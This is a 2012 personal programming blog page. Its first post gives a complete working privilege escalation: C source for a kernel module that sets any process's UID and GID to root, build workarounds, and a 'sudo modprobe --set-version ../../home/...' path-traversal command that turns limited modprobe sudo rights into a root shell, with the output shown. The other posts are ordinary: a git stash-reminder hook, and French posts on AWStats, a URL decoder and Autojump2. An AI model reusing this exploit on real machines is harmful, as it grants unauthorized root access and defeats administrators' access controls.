Programmation

How to become root with modprobe

Tuesday, 12 June 2012
|
Écrit par
Grégory Soutadé

At work we're not root in our machines. This simplify the administrator's works and we don't need to be root for usual tasks. If I need to, I can ask my colleague two desks in front of me. But for a special case I was given modprobe access via sudo. I said to him "If I can use modprobe, I'm root !", he replied "No because modprobe only loads modules from /lib/modules, but this is your challenge !".

Challenge accepted and successfully completed ! I'm running an Ubuntu 10.4 LTS with a 2.6.32-41-generic kernel.

 

Module source

The module was easy to develop (even if it has been a while I havn't do kernel module). It was named beyrouth for "be root", but it's more generic. Indeed you can change UID and GID of any running process !

/* * beyrouth.c - Change task's UID and GID */ #include /* Needed by all modules */ #include /* Needed for KERN_INFO */ #include #include #include #include // Copied from linux/cred.h #define __task_cred(task) \ ((const struct cred *)(rcu_dereference((task)->real_cred))) // Copied from linux/cred.h #define get_task_cred(task) \ ({ \ struct cred *__cred; \ rcu_read_lock(); \ __cred = (struct cred *) __task_cred((task)); \ get_cred(__cred); \ rcu_read_unlock(); \ __cred; \ }) int pid = -1; int uid = -1; int gid = -1; module_param(pid, int, 0); module_param(uid, int, 0); module_param(gid, int, 0); int init_module(void) { struct cred *_cred; struct pid* _pid; struct task_struct* task; printk(KERN_ERR "Hello world\n"); if (pid == -1) { printk(KERN_ERR "PID is missing\n"); return -2; } _pid = find_get_pid(pid); if (!_pid) { printk(KERN_ERR "PID not found\n"); return -3; } task = pid_task(_pid, PIDTYPE_PID); if (!task) { printk(KERN_ERR "Task not found\n"); return -4; } _cred = get_task_cred(task); if (!_cred) { printk(KERN_ERR "Cred not found\n"); return -5; } if (uid != -1) { _cred->uid = uid; _cred->euid = uid; _cred->suid = uid; _cred->fsuid = uid; } else uid = _cred->uid; if (gid != -1) { _cred->gid = gid; _cred->egid = gid; _cred->sgid = gid; _cred->fsgid = gid; } else gid = _cred->gid; commit_creds(_cred); printk(KERN_ERR "New UID %d GID %d\n", uid, gid); // Don't load module return -1; } void cleanup_module(void) { printk(KERN_INFO "Goodbye world\n"); } MODULE_AUTHOR("Grégory Soutadé"); MODULE_DESCRIPTION("Change task's UID and GID"); MODULE_LICENSE("GPL");

The module is GPL because we want to access to GPL exported kernel's functions. Maybe it's not the most elegant way to do, but it works for now. It came with its Makefile :

obj-m += beyrouth.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Modpost error

This pretty compile on a Debian VM. But with Ubuntu I have this f***ing error :

Building modules, stage 2. MODPOST 0 modules

There is no resource on the net to bypass this compilation error.

ONE SOLUTION : I had "-n" switch activated in my GREP_OPTIONS (exported by .bashrc). Disable this swtich make the compilation works again !!

OLD ISSUE : The only issue seems to do a "make modules_prepare" on kernel sources, but I'm not root (for now) !! The solution is to copy kernel headers (take care of symbolic links)

mkdir linux cp -r /lib/modules/2.6.32-41-generic/ linux cp -r /usr/src/linux-headers-2.6.32-41* linux cd linux/2.6.32-41-generic/ rm build ln -s ../linux-headers-2.6.32-41-generic/ build cd -

Edit your Makefile to change kernel header's root

make -C ./linux/$(shell uname -r)/build M=$(PWD) modules

Edit ./linux/2.6.32-41-generic/build/scripts/Makefile.modpost, change modules rules by :

modules := $(MODVERDIR)/../beyrouth.ko

Now you can run make, and it works !!! It's not sexy, I know...

Building modules, stage 2. MODPOST 1 modules

Modprobe

The second problem is that modprobe looks for modules in /lib/modules/`uname -r`. The first thing to do is to create modules.dep beside beyrouth.o with :

beyrouth.ko:

After that you can open a new terminal and do "ps -o pid,user,group,args" :

PID USER GROUP COMMAND 13209 soutade soutade bash 13231 soutade soutade ps -o pid,user,group,args

Finally change kernel's version for modprobe to change kernel's module path :

sudo modprobe --set-version ../../home/soutade/beyrouth/ beyrouth pid=13209 uid=0 gid=0 FATAL: Error inserting beyrouth (/lib/modules/../../home/soutade/beyrouth

"Operation not permitted" is a valid return because we don't want to insert beyrouth.ko into kernel. dmesg tells us :

[533621.707288] Hello world [533621.707293] New UID 0 GID 0

And "ps -o pid,user,group,args"

PID USER GROUP COMMAND 13209 root root bash 13236 root root ps -o pid,user,group,args

I now have a root terminal, even if I won't use it !

Git checkout and stash list

Monday, 21 May 2012
|
Écrit par
Grégory Soutadé

Git is great, it's true. I don't wanna enhance this scm but introduce a little tip. In git, local branches are cheap, thus a common work flow is to create branches for everything. But you cannot switch from one branch to another if there are some modifications on your code and the first thing you does when a colleague ask you to test quickly something is to stash your work and do a checkout. The problem appears when you come back to your original branch two days later (because this silly bug was hard to fix) and you've forgotten that there is something in the stash list !

The tip of the day is a post-checkout's hook script that will show stashes pending to current branch after a checkout. Here I used a hook script because stashes are implemented by a bash script, so there is no API to properly access in C language. Plus, a modification in internals git code must be maintained by hand.

The first thing is to create a template repository. As described in this question on stack overflow, we'll create a global hook directory in our home, so every git repository will have access to it :

git config --global init.templatedir '~/.git_template' mkdir -p ~/.git_template/hooks touch ~/.git_template/hooks/post-checkout chmod a+x ~/.git_template/hooks/post-checkout

Then you can edit post-checkout with :

#!/bin/sh # # Git post checkout hook # Parameters # cur_branch=`git branch | grep '\*' | awk '{print $2}'` git stash list | GREP_OPTIONS="" \grep "[oO]n $cur_branch:"

Now after each "git checkout" you'll be noticed if there are pending stashes in the current branch !

Script AWStats 2

Saturday, 18 February 2012
|
Écrit par
Grégory Soutadé

Il y a presque 5 mois, j'avais mis à disposition un script permettant de voir les dernières phrases clé d'Awstats en les comparant à la fois précédente, ce qui est plus pratique que de voir tout d'un bloc. Le petit problème du script était qu'on ne pouvait pas rafraîchir deux fois dans la journée sinon la différence se faisait sur des données serveur à jour.

 

Voilà donc une version légèrement améliorée qui n'écrase plus les données si elles ont été rafraîchies dans la journée.

Agrandisseur/Décodeur/Encodeur d'URL

Tuesday, 31 January 2012
|
Écrit par
Grégory Soutadé

 

Nouveau service "web" sur le serveur : un agrandisseur/décodeur/encodeur d'URL. Concrètement, à quoi ça sert ?

 

Décodeur/Encodeur d'URL

Il permet de transformer une URL (adresse internet du type http://www.soutade.fr) au format valide pour une requête HTTP. C'est à dire qu'il va, par exemple, transformer les espaces en %20 et inversement pour le décodage. Ça ne sert pas forcément tous les jours, mais c'est gratuit en php (rawurlencode/rawurldecode).

 

Agrandisseur d'URL

C'était la fonction première de la page. Personnellement je ne supporte pas les URL du style http://goo.gl/QzE9b C'est très utile pour des services comme twitter où le nombre de caractères est limité, mais dans la vie courante et avec les moyens informatique actuels c'est inutile. Inutile et potentiellement dangereux car l'internaute ne sait pas vers quoi l'URL redirige, on peut donc très bien tomber sur un site malveillant.

La page est simple (pas que ça à faire) et surtout ça évite de chercher des mots compliqués (unshortener, url decoder) quand on a besoin de ces services !

Pour éviter l'utilisation malveillante, le nombre de requêtes est limité à 10 par session.

Autojump2

Monday, 23 January 2012
|
Écrit par
Grégory Soutadé

Il y a peu j'avais fait un article sur un petit utilitaire IN DIS PEN SABLE. Autojump de son petit nom. Pour ceux qui ont oublié : Autojump permet de se déplacer rapidement dans l'arborescence en enregistrant les dossiers dans lesquels on va le plus souvent puis en les rendant accessible via la commande "j" suivi d'un pattern. Exemple, je suis à la racine de mon dossier (~/), il me suffit de taper "j kc" pour aller directement à "/home/soutade/projets/kc". Plus fort encore, si je tape "j k[tab]" la complétion me donne directement "j "/home/soutade/projets/kc"".

J'avais adapté Autojump à ma sauce pour qu'il étende la commande cd et j'avais aussi rajouté d'autres options pour gérer la base de données. Mise à part quelques corrections mineures, mes modifications n'ont pas été intégrées dans la version originale (différence de philosophie principalement).

Bref, ceci est un temps révolu. Ma nouvelle version d'Autojump est arrivé : Autojump2 (pour garder la référence à la version originale). Ce n'est pas un fork, ce n'est pas non plus une vraie suite puisque le code a été totalement ré écrit.

Autojump2 c'est donc plus fort, plus rapide et plus intelligent qu'Autojump*. Comme dans ma version modifiée, on n'utilise plus "j", mais directement "cd", on peut ajouter/retirer/modifier nos dossiers préférés à la base, les retrouver grâce à la complétion automatique. Et surtout grande nouveauté : lister automatiquement un ensemble de répertoire !! Toutes les fonctions de cd sont préservées et il n'y a plus un accès à la base pour chaque utilisation de cd (seulement quand c'est nécessaire).

Exemple tiré du README

Arborescence

proj/
|--- v1/
|--- v2/
|--- v3/
|--- branch/
|--- v2/

 

cd --add proj/v2
>>> '/home/soutade/proj/v2' correctly added to database
cd -a proj/v1
>>> '/home/soutade/proj/v1' correctly added to database
cd -a proj/\\*
>>> '/home/soutade/proj/*' correctly added to database
cd --add proj/branch/v2
>>> '/home/soutade/proj/branch/v2' correctly added to database

cd --list
/home/soutade/proj/branch/v2
/home/soutade/proj/v1
/home/soutade/proj/v2
/home/soutade/proj/*
>>> /home/soutade/proj/branch
>>> /home/soutade/proj/v1
>>> /home/soutade/proj/v2
>>> /home/soutade/proj/v3

cd v2
/home/soutade/proj/branch/v2

cd v[tab][tab][tab]
v__1__/home/soutade/proj/branch/v2
v__2__/home/soutade/proj/v1
v__3__/home/soutade/proj/v2
v__4__/home/soutade/proj/v3

cd v__2
/home/soutade/proj/v1

cd v[tab][tab][tab]
v2__1__/home/soutade/proj/branch/v2
v2__2__/home/soutade/proj/v2

cd v2__2
/home/soutade/proj/v2

*Aucun benchmark n'a été réalisé